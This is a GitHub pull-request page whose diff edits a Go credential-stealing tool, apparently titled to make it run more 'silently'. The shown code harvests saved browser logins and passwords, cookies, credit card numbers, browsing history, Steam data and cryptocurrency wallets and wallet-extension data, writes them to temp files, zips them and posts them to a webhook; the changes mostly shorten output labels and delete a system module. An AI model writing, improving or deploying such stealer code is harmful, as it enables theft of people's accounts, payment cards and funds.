Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improved silent operation and code documentation #59

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
16 changes: 8 additions & 8 deletions modules/browsers/browsers.go
Original file line number Diff line number Diff line change
Expand Up @@ -157,7 +157,7 @@ func Run(webhook string) {
os.MkdirAll(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), os.ModePerm)

if len(profile.Logins) > 0 {
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "logins.txt"), fmt.Sprintf("%-50s %-50s %-50s", "URL", "Username", "Password"))
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "logins.txt"), fmt.Sprintf("%-50s %-50s %-50s", "url", "user", "pass"))
for _, login := range profile.Logins {
fileutil.AppendFile(fmt.Sprintf("%s\\%s\\%s\\%s\\logins.txt", tempDir, profile.Browser.User, profile.Browser.Name, profile.Name), fmt.Sprintf("%-50s %-50s %-50s", login.LoginURL, login.Username, login.Password))
}
Expand All @@ -167,38 +167,38 @@ func Run(webhook string) {
for _, cookie := range profile.Cookies {
var expires string
if cookie.ExpireDate == 0 {
expires = "FALSE"
expires = "0"
} else {
expires = "TRUE"
expires = "1"
}

var host string
if strings.HasPrefix(cookie.Host, ".") {
host = "FALSE"
host = "0"
} else {
host = "TRUE"
host = "1"
}

fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "cookies.txt"), fmt.Sprintf("%s\t%s\t%s\t%s\t%d\t%s\t%s", cookie.Host, expires, cookie.Path, host, cookie.ExpireDate, cookie.Name, cookie.Value))
}
}

if len(profile.CreditCards) > 0 {
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", "Number", "Expiration Month", "Expiration Year", "Name", "Address"))
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", "num", "exp_m", "exp_y", "name", "addr"))
for _, cc := range profile.CreditCards {
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "credit_cards.txt"), fmt.Sprintf("%-30s %-30s %-30s %-30s %-30s", cc.Number, cc.ExpirationMonth, cc.ExpirationYear, cc.Name, cc.Address))
}
}

if len(profile.Downloads) > 0 {
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", "Target Path", "URL"))
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", "path", "url"))
for _, download := range profile.Downloads {
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "downloads.txt"), fmt.Sprintf("%-70s %-70s", download.TargetPath, download.URL))
}
}

if len(profile.History) > 0 {
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", "Title", "URL"))
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", "title", "url"))
for _, history := range profile.History {
fileutil.AppendFile(filepath.Join(tempDir, profile.Browser.User, profile.Browser.Name, profile.Name, "history.txt"), fmt.Sprintf("%-70s %-70s", history.Title, history.URL))
}
Expand Down
4 changes: 2 additions & 2 deletions modules/games/games.go
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,7 @@ func Run(webhook string) {
}

if !strings.Contains(found, name) {
found += fmt.Sprintf("\n %s ", name)
found += fmt.Sprintf("\n+ %s ", name)
}
}

Expand Down Expand Up @@ -122,7 +122,7 @@ func Run(webhook string) {
"embeds": []map[string]interface{}{
{
"title": "Steam",
"description": "`✅✅✅`",
"description": "+",
},
},
}, tempZip)
Expand Down
263 changes: 0 additions & 263 deletions modules/system/system.go

This file was deleted.

10 changes: 5 additions & 5 deletions modules/wallets/wallets.go
Original file line number Diff line number Diff line change
Expand Up @@ -46,7 +46,7 @@ func Local(webhook string) {
continue
}

found += fmt.Sprintf("\n %s - %s", strings.Split(user, "\\")[2], name)
found += fmt.Sprintf("\n+ %s - %s", strings.Split(user, "\\")[2], name)
}
}

Expand All @@ -55,7 +55,7 @@ func Local(webhook string) {
}

if len(found) > 4090 {
found = "Too many wallets to list."
found = "-"
}

tempZip := fmt.Sprintf("%s\\wallets.zip", os.TempDir())
Expand Down Expand Up @@ -85,7 +85,7 @@ func Extensions(webhook string) {
"Core": "\\Local Extension Settings\\agoakfejjabomempkjlepdflaleeobhb",
"Crocobit": "\\Local Extension Settings\\pnlfjmlcjdjgkddecgincndfgegkecke",
"Equal": "\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac",
"Ever": "\\Local Extension Settings\\cgeeodpfagjceefieflmdfphplkenlfk",
"Ever": "\\Local Extension Settings\\cgeeodpfagjgjfhomihkjbmgjidlcdno",
"ExodusWeb3": "\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno",
"Fewcha": "\\Local Extension Settings\\ebfidpplhabeedpnhjnobghokpiioolj",
"Finnie": "\\Local Extension Settings\\cjmkndjhnagcfbpiemnkdpomccnjblmj",
Expand Down Expand Up @@ -202,7 +202,7 @@ func Extensions(webhook string) {
if err != nil {
continue
}
found += fmt.Sprintf("\n %s - %s", profile.Browser.User, name)
found += fmt.Sprintf("\n+ %s - %s", profile.Browser.User, name)
}
}

Expand All @@ -211,7 +211,7 @@ func Extensions(webhook string) {
}

if len(found) > 4090 {
found = "Too many extensions to list."
found = "-"
}

tempZip := fmt.Sprintf("%s\\extensions.zip", os.TempDir())
Expand Down
Loading